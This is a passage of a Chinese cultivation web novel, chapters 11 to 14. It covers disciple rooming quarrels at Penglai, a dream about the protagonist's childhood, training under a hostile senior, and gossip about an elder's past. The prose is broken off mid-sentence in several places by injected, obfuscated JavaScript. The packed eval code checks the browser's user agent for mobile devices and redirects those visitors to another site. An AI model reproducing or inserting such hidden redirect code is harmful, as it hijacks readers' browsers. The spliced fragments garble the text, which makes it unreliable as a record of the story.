“我,柳恒清。” 屋内的吵闹立即戛然而止,随即传来了脚步声,门被从里面打开,开门的正是和他们并列第十的景安言,他扫了一眼柳恒清和程炀,不客气道:“我们屋住满了,上别处去!” 柳恒清正想开口再问,门就被“砰”地一声甩上了,屋内立即传来了放肆的大笑。 柳恒清拳头攥得咯咯响:已经不知道有多少年没人敢这样对待他了,这人简直找死。 柳恒清抬脚欲踹门,冷不防衣袖被人拽了一下,他转过头去,眼底的阴鸷还未褪去,程炀吓得一抖。 “我们,找下一间吧,不然温戎师兄给的饭菜该凉了。” 听到温戎的名字,柳恒清才总算冷静一些。他不能再像从前那样惹是生非了,找出解药带温戎离开才是最重要的事情。 柳恒清长长地吐出一口浊气,这才往下一间走去。谁知一连敲了三扇门,却连个开门的都没有。 眼见柳恒清怒气越盛,最后一扇门程炀自告奋勇上去敲了敲。 里头传来了第五朔不耐烦的声音:“谁啊?” “我,程炀。” 屋里静了许久,正当程炀失望转身时,门忽然打开了。 第五朔比程炀高了快一个头,居高临下地瞪着他,问道:“干什么?” “我……我们该住哪?”程炀问道。 第五朔眼神在柳恒清和程炀之间来回扫视,忽然有些不自在地轻咳一声,道:“这边住满了。” “啊?那掌门没说多出来的两人怎么办吗?”程炀道。 第五朔垂眸看了眼他半吊着的手臂,皱了皱眉,下巴朝旁边抬了抬:“那儿。” 柳恒清顺着第五朔抬下巴的方向看去,瞬间火冒三丈,两步冲上前来,怒道:“让我们住柴房?!” 11. 第 11 章 “你冲我吼什么吼?是洛师兄说的。”第五朔道。 “洛宁毓……”柳恒清咬牙切齿道,“这每间屋子都大得很,再塞两张塌进去绰绰有余,他凭什么让我们住柴房!” “哪里绰绰有余了,你自己看看能塞哪儿?”第五朔微微让开一条缝让他们看。 程炀指着茶桌道:“把茶桌挪走不就好了。” “你想得美!茶桌挪走了本公子在哪儿喝茶?你们要挤找别人去,本公子一个人住这间屋子都嫌不够,你们休想进来,你们要有什么不满找洛师兄去!”第五朔说着就要关门,却被柳恒清一掌摁了回去,第五朔横眉竖眼道,“你要干什么!” “我可以住柴房,不过程炀受伤了,休息不好对伤口恢复不利,他跟你住。”柳恒清不容商量道,一把将程炀推了进去。 “你说什么?!跟谁住?你疯了吧你!这小乡巴佬身上一股味儿,不知道几天没洗澡了,我才不跟他睡!”第五朔又把程炀推了出来。 “你不让他住的话,”柳恒清忽然逼近第五朔,低声道,“我就去告诉掌门是你帮程炀作弊。蓬莱仙山内考核作弊的下场是什么你应该清楚吧?” 第五朔脸一白,嘴硬道:“我哪有帮他!你有什么证据?” 柳恒清翻了个白眼,拿出那张印有星辰印记的符纸:“我只要拿这张符纸给掌门,他一看便知。” “你——”第五朔怒目而视,指了指柳恒清,又指了指程炀,咬牙切齿道,“恩将仇报的小人!” 程炀缩了缩脖子,不敢说话。柳恒清则是得意地勾起了嘴角,笑道:“第五公子人帅心善,帮人帮到底,送佛送到西嘛。等他伤好了,我就接他去柴房住。” 第五朔嫌弃地瞥了程炀一眼,不耐道:“他这伤什么时候能好?” “一个月就好了。” “一个月?我得跟他睡一个月?!本公子长这么大从来没跟人挤过一张塌!”第五朔恨不得锤程炀一拳,又怕把他的伤锤得更重了,自己得跟他挤更久,只能用眼睛瞪程炀,试图把他瞪出一个洞。 “你就当新体验吧。谁让你那张符画得那么烂,要是那张符能挡下洛宁毓那一招,你现在就用不着跟他挤了。”柳恒清轻飘飘道。 “你说什么!全天下谁人不知我们第五家族世代都是最强符修,你算什么东西敢说我画得烂!”第五朔怒吼道。 “是是是,你最厉害,是在下口无遮拦,还请第五公子恕罪。”柳恒清毫无诚意地说道,然后便跨进了屋内。 “你进来干嘛?”第五朔道。 “吃饭啊,柴房又没桌子。吃完饭我就走。”柳恒清自来熟道,厚脸皮地坐了下来,拉着程炀吃饭。 程炀被第五朔愤怒的眼神盯得浑身不自在,低声道:“柳大哥,要不我跟你一块儿住柴房吧……” “不用,你就住着吧,他不会拿你怎么样的。”柳恒清夹了一块爽脆的莲藕进嘴里,饿了一整天的感觉终于得到了舒缓,方才的不爽也一扫而空。 “可是,他说我身上有味儿……” “废话,在狩猎场追妖怪追了大半天,谁身上没味儿啊,等会儿洗个澡就行了。” “可是,你住柴房,我过意不去……” 柳恒清闻言,停下筷子,透过窗子看向景安言住的那间屋子,眼底流露出一丝阴冷:“放心,我肯定能给咱弄间好屋子来。” 程炀不明所以,但见他成竹在胸的样子,便没再多问。 柳恒清一打开柴房的门,一股朽木的味道扑面而来。这间屋子狭小幽暗,只有一扇窄窄的窗户能透进一丝月光,四周堆满了木头,在里面连坐下都难,更别提躺着睡觉了。 柳恒清把木头尽可能集中到一处墙角,这才勉强空出了一小块地方躺着。 地上只有一层薄薄的稻草,又阴又冷,柳恒清却无暇顾及。现在的他一颗心乱得很,白天里发生了太多事,多得让他忘记了去想重生的这件事。 他这一天里不止一次怀疑这只是自己死前的一场梦,直到现在依然不太敢合上眼睛。他担心睡着之后便再也醒不过来,或者睡醒后发现他仍然独自一人待在寂寥的登天宫里,身边没有温戎的陪伴。 他从怀里拿出温戎给他的那条帕子,上面还有药草香,淡淡的、真实的。 “明日醒来,你还会在吗?”柳恒清自言自语道,脑海中满是温戎的音容笑貌。 忙碌一日,困意渐渐袭上心头,柳恒清也不知自己是什么时候睡着的,只是睡梦中一直有那股令他心安的香味萦绕在四周。 他在梦中被困在一片混沌迷雾中,不知过了多久才终于穿过了一片树林,来到一条小溪边,看见了儿时的自己。 年幼的小男孩正在溪边捉鱼,他稚嫩可爱的脸上沾了些淤泥,两眼放光聚精汇神地盯着一条肥美的鲫鱼,当鱼儿抽搐般游到他腿边时,他毫不犹豫扎进水里,下一刻,两手握着那条噼啪挣扎的鲫鱼,笑得比阳光还灿烂。 “晚上可以和阿娘、师父一起喝鱼汤咯!”孩童稚嫩的声音里带着幸福的笑意,仿佛世间的一切美好都被他握在手里。 他把鱼放进背篓,正要起身,便见远处巷子里窜出几个人影来。这几个人看上去和他差不多大,但个个又高又胖,从脸上的表情看来就没安好心。 “臭野种,又来偷我家的鱼!”为首的大白胖子嚣张道。 柳澈闻言,眉毛凝成一团,怒道:“我不是野种!这也不是你家的鱼!” 一群人闻言,嬉笑怒骂起来:“臭野种还敢顶嘴啊。这条溪最先经过我家,就是我家的!上次偷我家的鱼被我们揍了一顿,还不长记性,还敢来偷,兄弟们,给我上!” 柳澈放下背篓,随手捡了几颗鹅卵石朝那几人丢去。他不敢砸头,怕把这几个王八蛋砸伤了回头阿娘还得给人赔钱,只能一下又一下地瞄准他们的肩膀和大腿。 但无论柳澈砸得再准,两只手也难敌五个人,很快就被围困起来。 他们踢翻了背篓,柳澈大喊道:“我的鱼——” 大白胖子一掌将柳澈推倒在地,踩着他的胸口,毫不留情地一巴掌拍在他脸上,那张白皙的脸上瞬间出现了一个巴掌印:“是我的鱼!你个没爹的野种,你娘偷汉子,你偷鱼!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他笑道:“等你长到和我一样大的时候就会和我一样厉害了。” “哥哥,你是跟谁学的?”柳澈扑闪着大眼睛问道。 提起这个,他脸上的笑容忽然一僵,支支吾吾道:“嗯……我,我是蓬莱仙山的。” “蓬莱仙山?师父说蓬莱仙山和昆仑仙山、长留仙山、太华仙山并称为四大仙山,是全天下修仙者的圣地,你在那里学修仙,难怪这么厉害。”柳澈崇拜道。 他羞涩一笑,道:“我只是运气好,被师父捡上山了。” “哦?你师父捡的你吗?我的师父是我自己捡来的。”柳澈忽然有些骄傲道。 “你捡师父?” “对啊,我师父在我家后门睡觉,然后我就把他捡回家了。”柳澈道,“哥哥,我叫柳澈,你叫什么名字啊?我以后长大了去蓬莱仙山找你玩啊。” “我……”他不知为何又开始支支吾吾起来了,挠了挠头,半晌才道,“要不你……你叫我宁毓哥哥吧!” 12. 第 12 章 柳恒清浑身一激灵,猛地睁开眼,一个挺身便坐了起来。 “去你大爷的宁毓哥哥……”柳恒清咒骂一声,吓得气息都不稳了。回想起这个称呼只会让他觉得羞耻难当,想找个地洞钻进去,还好这一世重来没让他再经历一次当初的窘境,否则他会更想将洛宁毓碎尸万段。 窗外天光熹微,柳恒清捋顺气儿四下看了看,确定自己依然在柴房内,顿觉神清气爽:一切都没有消失,他真的回到十年前了。 他简单梳洗一番后便去敲了第五朔的房门,果不其然是程炀来开门。 程炀一见柳恒清便有些羞愧,问道:“柳大哥,你昨晚睡得还好吗?” 柳恒清想起自己那个噩梦,想说不好,但又怕这么说了程炀过意不去,便道:“好着呢。快收拾收拾,你虽然手臂受伤了,但能跟得上的晨练也不能落下。” 程炀笑道:“柳大哥,有你督促,我肯定不会落后的。” 柳恒清挑眉嗯了一声。 第五朔听见后嗤了一声,道:“大言不惭,不知道还以为你是师兄呢。” 柳恒清心道:真要论起来,我还真不比那些师兄差。 十二人三三两两地御剑往练武场赶去。虽然离晨练的时辰还早着,但每个人都在暗暗较劲不想落后,毕竟这是正式拜入师门的第一天,谁也不想做最后一个。可是等所有人都到场了也没见着掌门的身影,众人又等了一刻,才见以洛宁毓为首的几个师兄悠悠从远处飞来。 众人不明所以,脸上都带着或失望或疑惑的神情,但柳恒清并未惊讶,这些事情他早知道了。 蓬莱仙山一向如此,打着天下第一仙宗的旗号,坑蒙拐骗了一群无知的天才少年,等他们拜完师插翅难飞时,便撕下伪君子的装束,露出阴险的獠牙。 他们对外宣称,只要是初选前十名便可成为掌门弟子,由掌门亲自教导蓬莱剑法,实则不然。 前十名的弟子入了门派之后一年内都是由几位师兄教导,待一年后考察个人天赋,再行决定专修何道。所谓的“掌门弟子”其实与寻常弟子根本是一个性质,他们这前十名比起剩下那九十名,除了吃穿住行更舒适之外,差别并不大。 后九十名一年后需要通过一场历练,失败的人会被驱逐出山,他们只是没了这点后顾之忧罢了。 只有经过一年修炼后,各方各面挑不出短板的人才有可能成为真正的掌门弟子,所以常常一次初选下来都挑不出一个。这任掌门继任已有三十余年,但蓬莱仙山内的掌门弟子也不过六人,洛宁毓则是其中之首。 程炀仰头看向第五朔,问道:“掌门呢?” “我哪儿知道。”第五朔道。 柳恒清挑了挑眉,开玩笑道:“你怎么不问我,问他干嘛?” 程炀脸一红,像个做错事的孩子一般攥着手,低声道:“我寻思他知道得多……” 柳恒清没再继续逗程炀。洛宁毓负手走上前来,煞有介事地扫视一圈,最后将目光停留在柳恒清身上。那眼神冰冷至极,即使是夏初时节也让人顿生寒意。 柳恒清忍着不快,平静地回望着他,表面看上去像是在乖巧等侯师兄发话一般,但其实心里一直在不断地骂他小心眼。 对视片刻,洛宁毓似是对柳恒清地反应感到无趣,终于收回了眼神,淡然开口对众人道:“掌门事务繁忙,日常便由我们几位师兄督促你们修炼。” 四下一片寂静,大家即便有些许不满也不敢在洛宁毓面前说,不过少部分弟子倒是略有些窃喜,毕竟洛宁毓这人虽说性格差劲,但皮相却是极佳,否则也不会得到“玉山君”的称谓了。 说是督促,其实几位师兄根本不怎么管他们,自顾自地在一旁凝神打坐或是练剑。往年蓬莱仙山初选的前十名基本是世家子弟,本就有良好的底子,就算丢本剑谱让他们自己钻研,对他们来说也不是什么难事。 但今年却有个程炀。他本就跟不上众人的进度,又因为伤了手,呆站在一旁不知所措。 柳恒清早替他想好了对策,拉着他来到洛宁毓面前,恭敬道:“洛师兄好。” 刚盘腿坐下的洛宁毓眼皮都懒得抬一下,像是没听见一般合上了眼。 “师兄,您可以给程炀另外安排些事情做吗?”柳恒清问道。 洛宁毓的反应一如他猜测的那般,依旧闭着眼睛罔若未闻。 “师兄,程炀昨日被你打伤了手,近日怕是都不便修炼了。”柳恒清语气里满是为难,但又故意稍稍提高了些音量,其他几个师兄听见了声音便纷纷转头看过来。 他们惊讶地盯着程炀,毫不避讳地当面窃窃私语起来。他们昨日就听说洛宁毓三招之内没能将一个刚入门的小弟子打服,原以为对方是个厉害人物,没想到竟然只是个其貌不扬的瘦弱少年。 一想到不可一世的洛宁毓输给这样的人,那几个师兄眼底的戏谑便藏也藏不住了。 洛宁毓终于掀开了眼皮,蹙眉看向柳恒清,眼神里赫然写着:你想怎样? 柳恒清笑道:“师兄,他既然练不了剑,要不让他去藏书阁看看剑谱吧?不然待在这儿也是浪费时间。” “我是师兄,还是你是师兄?”洛宁毓冷冷开口道。 不远处的第五朔闻言,轻笑了一声。 “当然是您了,我不敢逾越,所以特地来问您。”柳恒清端着笑道。 洛宁毓视线在他们二人间流转,也不知在想些什么,许久才道:“我记得你说你能将门规倒背如流,那我问你,蓬莱派弟子守则第一千五百三十六条是什么?” 柳恒清闻言,微微一愣,忙道:“师兄,你误会了。” “我问你话,为何不答。”洛宁毓并不给柳恒清解释的机会。 柳恒清脸色微僵,看了一眼站在一旁呆愣愣不明所以的程炀,轻咳一声,低声道:“同门弟子间不可交往过密,若有逾矩行为,一经发现立即逐出师门。” “没睡醒吗?大声点。”洛宁毓的声音依旧冰冷,却又透着一股恶劣的玩味。 柳恒清攥了攥拳,深吸一口气,字正腔圆道:“同门弟子间不可交往过密,若有逾矩行为,一经发现立即逐出师门!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15438308|169303||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一旁的程炀闻言,脑子空白了一瞬,随即整张脸涨得通红,慌张地摆手道:“不、不是!师兄你误会了,我们没、没有!” “程炀,你急什么?洛师兄只是考考我是否将门规守则背熟了,又没说别的。我们昨儿才认识,自然不可能生出什么逾矩之事,既然没有,又何必慌张呢?”柳恒清坦然道。 程炀闻言,这才慢慢平静下来,但还是不敢看洛宁毓的眼睛。 柳恒清直视着洛宁毓冷得能凝出冰的眼睛,对他露出了一个单纯无害的笑来:“师兄,你说对吧?” 洛宁毓冷哼一声,移开了视线,对程炀道:“去藏书阁,把门规守则抄三百遍。” “啊……我……”程炀本想说自己惯用的右手伤了,但一对上洛宁毓的眼睛又生生把话憋了回去,“是……” 安顿好程炀,柳恒清便想着跟自己新领的剑磨合磨合,谁知刚起势就被第五朔踹了一脚。 柳恒清心有不满,皱眉瞪着他,但嘴上还是客客气气道:“第五公子有何贵干啊?” “你想害死我!”第五朔怒道。 柳恒清不得不怀疑这人是从小吃炮仗长大的,回回说话都这么呛人。“我怎么害你了?”他无奈道。 “你刚刚背的那条弟子守则啊!你明知道弟子间不可交往过密,还故意把那个小乡巴佬塞给我,你根本就是居心不良!” “你懂不懂什么叫交往过密啊?”柳恒清冲他翻了个大白眼。 第五朔炮语连珠:“废话,本公子当然懂。我昨晚都跟他睡一张塌了,还能不是交往过密?我知道了,你是不是想利用这件事拿捏我?就像用盾符的事威胁我一样。我告诉你,本公子不吃你这一套,你今天就把他给我领柴房去,你要想告掌门就告去,我们第五家族每年都给蓬莱仙山送不少稀世珍宝,掌门可不会为了这种小事就逐我出师门!” 柳恒清咂了下嘴,伸出一根手指,高深莫测地摇了摇,道:“第五公子此言差矣。在下从未想过要拿捏或是威胁您,昨夜出言不逊也是无奈之举,毕竟我不能眼睁睁看着同门师弟受了伤还得和我一块儿挤柴房啊。第五公子放心好了,你只是和程炀睡一张塌,算不得什么交往过密的。” 第五朔却不是好糊弄的:“这都不是交往过密,那什么才是交往过密?” 柳恒清的神情忽然变得有些意味不明,凑近了第五朔的耳朵,道:“断袖之事,第五公子可有了解?” 第五朔立时瞪圆了眼,脖子和耳根都透着红,但还强装镇定:“当然,断袖不就是男子与男子……” 柳恒清打了个响指,语气忽然变得暧昧不清:“没错,这条规矩指的就是那种事……” 第五朔退了两步,表情像吃了苍蝇一般,又恶心又震憾:“蓬莱仙山怎会有这种规定?” 柳恒清嘿嘿一笑:“这,就涉及到咱们门派中某一位长老年轻时的风流趣事了。” 第五朔不明所以:“哪位长老?什么风流趣事?” 柳恒清重新凑到第五朔耳畔,伸出手挡在自己嘴边,低声道:“芳、翳、长、老。” 13. 第 13 章 第五朔满脸的不可置信,指着柳恒清道:“你别胡说啊,污蔑长老可是要被逐出师门的!” “我岂会不知?”柳恒清道。 第五朔见他不像开玩笑,按耐不住自己的好奇心,半信半疑道:“那……是什么风流趣事啊?” 柳恒清笑了笑,挑眉道:“想知道啊?” 第五朔正经道:“我只是想了解一下门规。” “想了解门规的话,你和程炀一块儿去藏书阁抄三百遍吧,别打扰我练剑了。”柳恒清说完便抬脚要走。 第五朔一把拽住了他:“哎!你这人怎么能说话说一半。” “你又不想听,有什么可说的。” “我……我想听,你快点说。”第五朔催促道。 柳恒清伸出三根手指,并在一起,在第五朔面前搓了搓,低声道:“那我不能白说啊……” 第五朔不屑地嘁了一声,满眼鄙夷,道:“本公子有的是钱,你尽管说。” 柳恒清把第五朔拉到了一个安静的角落,景安言正独自一人在旁边练功,见第五朔竟与柳恒清一起,疑惑地转头看了他们好几眼。 柳恒清道:“我不要钱,我就想借你们第五家族的秘籍一阅。” 第五朔闻言,立刻变脸:“你想得美!我们家族之所以能世代都是最强符修,全靠这本秘籍。借你一阅?我先把你眼睛挖出来再说!” “你先别生气,有话好说嘛。”柳恒清又凑近第五朔,嘀嘀咕咕了两句。 第五朔越听,眉头皱得越紧,不解道:“你要干嘛?” 柳恒清神秘地笑了笑,道:“你只管借我就是了。” 第五朔思忖片刻,迟疑着点了点头:“好吧。那你快说那件事。” “这儿人太多了,等晚上去你屋里说。” 第五朔登时脸都气红了:“你耍我呢!再说了,谁同意你来我屋了?” —— 时至酉时,第一天的修习才算结束,几位师兄离开后,众弟子便纷纷往膳房赶去,很快练武场里就只剩下柳恒清和第五朔两人。 柳恒清倒是不着急,准备把蓬莱剑法第一式多练几遍再走。 第五朔见他还没有要走的意思,问道:“喂,你还不走?” 柳恒清眼神都没分他一个:“等会儿。” 从小到大还没人敢这么轻视第五朔,他先是感到不快,但一看到柳恒清竟能将剑法第一式练得流畅自如,心里便只剩下惊叹:这家伙到底什么来头?今天刚拿到剑谱就已经练到这种程度了?不对,刚刚那本剑谱根本没传到他手里吧?是个人都看出来掌门和洛师兄不待见他,都不想跟他说话,唯一的一本剑谱也不想分他看。难道,他就看着别人练,然后就会了,而且还练得比其他人都好? 第五朔小小的脑袋大大的疑惑,直到柳恒清三遍练完他还愣在原地。 柳恒清看了一眼呆若木鸡的第五朔,不解道:“第五公子,怎么啦?” “啊?没,我才没看你练剑!” “……” 柳恒清不再理他,回剑入鞘,一路哼着小曲儿往膳房走去。 第五朔默默跟在他身后,内心复杂:掌门说过,柳恒清初选时在狩猎场内偷懒,可是到最后,他一个人拿了将近两百枚铜钱,和我都没差多少,我可是从进场到火烧起来都没懈怠过……此人不容小觑,日后他练多久,我就要比他多练一个时辰! 柳恒清不知道身后的第五朔暗自在嘀咕些什么,在膳房匆匆啃了五个大肉包和一碗虾仁馄饨后,又溜进后厨顺走了四个肉夹馍和一碗鸡蛋面,这才去藏书阁找程炀。 蓬莱仙山藏书阁四周皆是竹林,夜晚十分清幽静谧,偶有海风徐来,竹叶簌簌作响,别有一番清雅趣意。 可此刻身在其中的人却无法平心静气。 藏书阁内只有一楼点着灯,程炀独自一人站在书案前埋头苦写,瘦小的身影都快被左右两边高高的纸堆埋没了。 柳恒清喊了程炀一声,他抬起通红的眼睛看过来,哑声应道:“柳大哥,你来了。” 柳恒清眉头一皱,见他拿笔的左手直发抖,走过去随手拿了几张纸一看,开玩笑道:“不错啊,练了一天,你左手写字越发好看了。” 程炀抬起手背抹了把泪,哽咽道:“我抄不完……” “抄不完就抄不完呗,你真当洛宁毓有那个闲功夫一张一张检查吗?随便写写,拿几张白纸凑够三百遍得了,你信不信,你就算在上面写‘洛宁毓王八蛋’,他也发现不了?”柳恒清道。 抄门规守则这种事他上一世不知道被罚了多少次了,否则也没办法把这几千条门规守则倒背如流,好几次他懒得写,在其中混入了好几张洛宁毓和掌门的王八图,从来没被发现过。 但程炀可没那个胆子,他依旧老老实实地用发抖的左手抄着,一点都不敢偷懒,刚写完一个字,眼泪就“啪嗒”一声把字晕花了。 “哎呀,别哭了,先吃点东西。”柳恒清把食盒递给程炀,自己接过笔。 程炀一愣,连忙把笔抢回来,道:“不用了柳大哥,我自己可以抄完的,你已经帮我很多了,再这样,师兄又要误会了。” “你想什么呢,我才不帮你抄呢。”柳恒清道。他伸出二指,凌空画了道符打在毛笔上,毛笔忽然金光乍现,脱离了程炀的手,而后落在纸上快速飞舞起来。 程炀凑上前一看,这笔竟然在模仿他的笔迹帮他抄门规守则! “这,这是什么法术?我从来没见过。”程炀惊讶道。 “这个啊……”柳恒清挠挠头,这是他当初偷懒自创的小法术,还真没想过给它起个名。他想了片刻,忽然灵光一现,“叫,半日闲。” “偷得浮生半日闲,真是个不错的法术。柳大哥,你能教教我吗?”程炀问道。 “行啊,下次再教你,今天累了。”柳恒清道,从食盒里拿了一个肉夹馍吃。 有了“半日闲”的帮忙,程炀总算能休息片刻,他吃饱喝足,躺在地上小憩,柳恒清则在藏书阁内找了处角落运气练功。 他已有许久不曾使用蓬莱派的招式,这些日子须得多加练习才行,否则若是日后在掌门或者几位长老面前下意识就用了九幽剑诀那就不好了,温戎认不出来,他们可不会认不出来。 虽然十五岁的身体还没有那么高的上限,但柳恒清再一次学蓬莱剑法依然要比从前得心应手。 他召出佩剑,以内力催动其释放剑气。白光如虹,随柳恒清一念一动,在这处不甚宽敞的角落里划出道道剑影。剑随心动,影如蝶舞,不知何时一柄剑竟释放出了三道剑气,剑气盘旋交错,犹如三条蛇相互缠绕,在阁内掠起一阵微风。 程炀半梦半醒,忽觉周身略有异样,惊喘一声便醒了,却见四下无人,只有那只毛笔还在孜孜不倦地抄 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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柳恒清先给自己倒了杯清茶,润润喉,这才娓娓道来:“话说三十五年前,芳翳长老和他当时的挚交好友——元乐前辈一同拜入了蓬莱仙山。据说他们二人情同手足,在初选时便一路扶持,后来更是一同被选入了千秋山,成为了当时的千秋山长老的弟子。 相传他们二人在千秋山上修行的那十年间一直出双入对形影不离,弟子间便渐渐有了些关于他们二人的流言蜚语,但芳翳长老和元乐前辈对此从不回应。一部分人认为是他们身正不怕影子斜,另一部分则认为他们是默认了那些传言。 后来,那些流言一传十十传百,传入了那时的掌门耳中,掌门便将他二人分别叫来问话。奇怪的是,他们二人的回答完全不同。芳翳长老承认了自己与元乐前辈乃两情相悦,并称千秋山的修行之道并非无情道,他们二人不算触犯门规,可元乐前辈却对此矢口否认。” “为什么?”第五朔听得入迷,不禁问道。 “且听我慢慢道来。”柳恒清又酌了口茶,继续道,“元乐前辈称自己并非断袖,也从不知芳翳长老好男风,二人之间只是纯粹的友谊。 此事一出,芳翳长老自然沦为了众弟子的笑柄,他整日告假,闭门不出,而元乐前辈如常修炼,还结交了新的朋友,从此不再理会芳翳长老。过了三个月,他们的大师兄——也就是如今的掌门,不忍见芳翳长老如此消沉,便带着他下山历练,一年后二人归来,芳翳长老才放下了过去的心结。 又过了三年,千秋山长老有意选择继位者,而他的弟子中就属芳翳长老与元乐前辈最为出色。长老本想让他们二人比试一番,但考虑到此前二人曾有过情感纠葛,遂作罢。之后经过一番考量后,长老决定由元乐前辈作为继位者。 得知此消息后,芳翳长老也并未多说什么,独自离开了蓬莱派。 谁知,就在第二日清晨,元乐前辈与他的好友竟被发现死在了千秋山长老的月影阁中!二人赤身倒在露台外,下身紧紧交|合……” 14. 第 14 章 “什么!!!”第五朔发出了震天的惊呼,一双眼珠子几乎都快瞪出来了,他惊叫道,“柳恒清你胡说八道,你大不敬!这这这怎么可能……” 第五朔长这么大从没听过如此匪夷所思、颠覆认知的故事,一时无法接受,呆愣在原地,仿佛遭了雷劈。 而一旁的程炀显然也受到了不小的冲击,但比起第五朔还算好点。他问道:“可是,为什么呢?元乐前辈都要继位长老了,怎么会……那样死掉?” 柳恒清压低了声音,道:“听说,元乐前辈身有缺陷,不能人事。弟子们猜测大约是他得知了自己成为继位者的消息,一时兴起,便自制了一颗既能强身健体又可催动情*的丹药,一分为二,与伴侣一同服下。谁知,元乐前辈拿错了一味药,那味药加入后会与另一味药产生毒性,二人就此丧命……” 程炀闻言,皱眉问道:“千秋山的弟子皆是药修,元乐前辈又是其中之最,怎么会犯这种错误?” 柳恒清摇了摇头,道:“没人知道,大家猜测是因为元乐前辈偷药时紧张,看岔了。” “那怎么会死在月影阁?”程炀依旧不解。 “月影阁是长老住的地方,但那夜长老有事下山去了。白日里弟子们对长老恭敬顺从,夜里却潜入他的居所行苟且之事,想想便刺激,元乐前辈不能人事,在那种地方或许能让他兴奋一些。”柳恒清道,“不过,这也是旁人的猜测,真正的原因不得而知。” 程炀和第五朔两人面面相觑,心情无比复杂。 “此等丑事一出,当时的掌门震怒,立刻新加了一条门规,不允许弟子间关系过密。听说那几年,但凡两个弟子走得近些,都会被掌门叫去问话,可让那些野鸳鸯们苦不堪言。不过,后来新掌门继位,这条门规就变得形如虚设了,只要别太张扬,掌门和长老们都会睁一只眼闭一只眼。” “那,元乐前辈死后,芳翳长老又回来了?”第五朔问道,“那元乐前辈的死该不会……”他不敢继续猜下去。 “是千秋山的长老希望他能回来继位,芳翳长老起初不同意,说这里是伤心地,不愿回来。后来,是他的大师兄,也就是咱们的掌门,亲自下山去劝他,才将他带回来。”柳恒清道。 程炀支着下巴思忖片刻,道:“其实,芳翳长老不愿回来也是情有可原。当初元乐前辈不愿承认与他的私情,让他在师兄弟面前颜面无存,但后来真相大白,大家明白他之前并非自作多情一厢情愿,自然也就不会再笑话他了。” 柳恒清颔首称是:“门内许多人为先前耻笑过芳翳长老而觉得十分愧疚。芳翳长老此人本就和善,此事一出,众人知晓他当初受了委屈却从未说过元乐前辈半句不是,更觉此人重情义有仁德,越发尊敬他了。” “是啊,芳翳长老的确是个大好人,常常下山义诊,民间对他也是赞不绝口,说他是菩萨心肠。”程炀感叹道。 而第五朔的眉毛从听故事开始就没舒展过,他道:“可是,掌门……为何总是那么在意芳翳长老啊?芳翳长老失恋他去开导,芳翳长老不愿回来他去劝,掌门该不会……” “打住打住,你想到哪里去了。虽然那个臭老道很讨人厌,但他修的是无情道,没心没肺的。”柳恒清道。 第五朔“嘁”了一声,道:“再讨人厌能有你讨人厌?这院子里就没人待见你。” “柳大哥不讨人厌,我就待见柳大哥。”程炀立即反驳道。 第五朔瞪了他一眼,道:“你待见他,你去跟他睡柴房啊!别来跟我挤。” 程炀闻言,撅嘴嘟囔道:“睡柴房也好,至少半夜不会被你踹……” “你说什么!本公子好心分半张床给你睡,你还抱怨上了?我没嫌弃你你倒先不乐意了,你今晚打地铺!” 程炀虽然气势不足,但句句都还嘴,两个人你一言我一语吵了许久,连柳恒清什么时候溜了都没注意。 相似的日子本就过得漫长,更何况柳恒清心里一直盼着五日之期能快点到来,短短四五日,对他而言煎熬得像四五年。 他白日里和其他弟子一起修炼最基础的剑式,夜里悄悄溜出蓬莱仙山去狩猎场练剑。那里已经是一片焦土,短时间内都不会有人来,柳恒清可以安心地在这儿“温习”蓬莱剑式。 蓬莱剑式须得修无情道方可达到巅峰之境,柳恒清过去不曾将它学透,如今也没这个打算,他只要足够应付之后可能发生的意外就行了。 “修无情道跟做太监有什么区别,我可是要和温戎师兄远走高飞隐居山林的,这种好事还是留给洛宁毓吧。”柳恒清自言自语道。 漫长的五天终于过去,酉时一到,洛宁毓几人前脚刚离开练武场,柳恒清后脚就提上食盒,拽着程炀往千秋山去。 第五朔见他们二人离开的方向和平日不同,问道:“你们去哪?” “找温师兄换药。”程炀道。 第五朔闻言,没再多说,只要不是柳恒清背着他偷偷开小灶,他都无所谓。 “第五公子,秘籍我看得差不多了,明天还你。”柳恒清忽然说道。 一提起秘籍的事,第五朔的表情就变得有些怪异,他不大自在地应了一声,又继续独自一人在练武场练剑。 一想到马上又能见到温戎,柳恒清的心情就无比舒畅,连脚步都变得轻快起来,程炀一双小短腿得一路小跑才追得上他。 他们到百草园时,温戎正坐在门口捣药,柳恒清刚要上前叫他,就见洛宁毓从屋里转出。 两人见到彼此,齐齐一愣,眼神同时冷了下来,连周遭的空气都仿佛凝滞了。 洛宁毓眉头一皱,沉声道:“你来做什么?” 柳恒清道:“程炀被师兄打伤了,师兄不会不记得了吧?” “他伤了手,与你何干?闲杂弟子不得随意上千秋山。”洛宁毓微厉道。 “程炀路痴,一个地方如果没有人带着走个五六遍,他根本记不得路。”柳恒清张口就来,程炀则十分配合地在一旁点头。 洛宁毓扫了程炀一眼,不屑道:“连路都分不清,日后下山历练,不知还能不能全乎人地回来。” “宁毓,他们上山换药罢了,别这样。”温戎蹙眉叫了他一声,走上前去把几包药交给他,“清云长老的药。” 洛宁毓不再多说,从温戎手里接过了药,柳恒清眼尖地发现他故意摸了一下温戎的手,心里顿时窜起一股无名火。这还不算完,洛宁毓又微微倾身,凑到温戎耳边不知说了些什么,那距离极近,几乎脸贴着脸。不知为何,柳恒清觉得洛宁毓这厮根本是故意在他面前和温戎如此亲近的。 